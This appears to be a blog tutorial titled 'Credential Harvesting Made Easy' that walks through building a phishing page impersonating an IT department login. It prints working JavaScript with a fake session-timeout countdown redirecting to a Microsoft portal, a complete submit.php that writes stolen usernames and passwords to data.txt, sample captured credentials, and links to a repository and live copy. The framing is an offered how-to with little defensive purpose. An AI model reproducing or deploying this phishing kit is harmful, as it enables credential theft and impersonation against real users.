Credential Harvesting Made Easy

admin — Mon, 25 Sep 2023 19:33:12 +0000

Here at P&C, we believe the lowest-energy means to accomplish the task is often the best. In this article, we will set-up a credential trap payload in a few easy steps using tools that are readily available to anyone.

Tools & Materials

To set-up this credential trap, you will need a text editor and a web server. We wouldn’t recommend using anything production-quality as publicizing a credential trap will likely get your domain flagged for suspicious content.

That said, at your own risk.

Sample Code?

Yes, you may find our basic cred-trap, along with other materials from this site, on our GitHub:
https://github.com/PhishAndChips-io/cred-trap

How does it work?

The primary payload is index.html.
You can see a LIVE version here:
https://phishandchips.io/static/cred-trap/

There’s a lot to unpack here.. so let’s go through it.

here, we have some social engineering at play…

We have a timer (written in javascript) that says you have 00:30s to act quickly.
We have some reassuring message from your IT department–“We’ve added this for your safety“
We have a friendly placeholder in the template for a logo as well as a FAVICON— you know, for the really authentic experience.

Behind the Scenes…

Here is our form.. all it’s doing is passing the username and password fields to our submit.php… this file can be hosted anywhere, and if you’re into Evasion, you will place it far away from your index.

Second… check out this countdown timer:

Your session has timed out.

";
// Redirect the user to a new page after the timeout (change the URL)
setTimeout(function() {
window.location.href = "https://portal.microsoft.com"; // Change the URL to your desired destination
}, 2000);
} else {
updateCountdown();
}
}, 1000); // 1000 milliseconds = 1 second
}

// Start the countdown when the page loads
window.onload = startCountdown;
script>

Countdown function— javascript

This is pretty boiler-plate stuff… At the end of the countdown, we set the redirect URL to: https://portal.microsoft.com, which should be a login page for Microsoft— this is to simulate “oops, you’ve been logged out”

*NOTE.. if you’re not good with code, you can always ask ChatGPT

Let’s see submit.php

if ($_SERVER["REQUEST_METHOD"] === "POST") {
$name = $_POST["username"];
$password = $_POST["password"];

// Open the file for appending
$file = fopen("data.txt", "a");

// Append the data to the file
fwrite($file, "Username: " . $name . ", ");
fwrite($file, "Password: " . $password . "\n");

// Close the file
fclose($file);

// Redirect back to the form page or a thank you page
header("Location: https://portal.microsoft.com");
exit;
} else {
echo "Invalid request.";
}
?>

submit.php

Short story goes… we just receive a POST to page, open data.txt, write the form contents, then redirect the user to portal.microsoft.com anyway–

And that’s it…

The output:

Username: TEST, Password: password
Username: TEST, Password: TEST
Username: go, Password: phish
Username: anotha, Password: one
Username: TEST, Password: 1234

data.txt

Conclusion

As we have demonstrated… it’s absolutely trivial to create a web form to harvest credentials. Login forms do not actually need to go anywhere or do anything to be effective. With 2x files and 30 lines of code (excluding styles and javascript), we can create an effective credential trap… small, but optional, embellishments complete the social engineering piece.

What’s next?

Data Harvesting in Phishing: Stealing Secrets Silently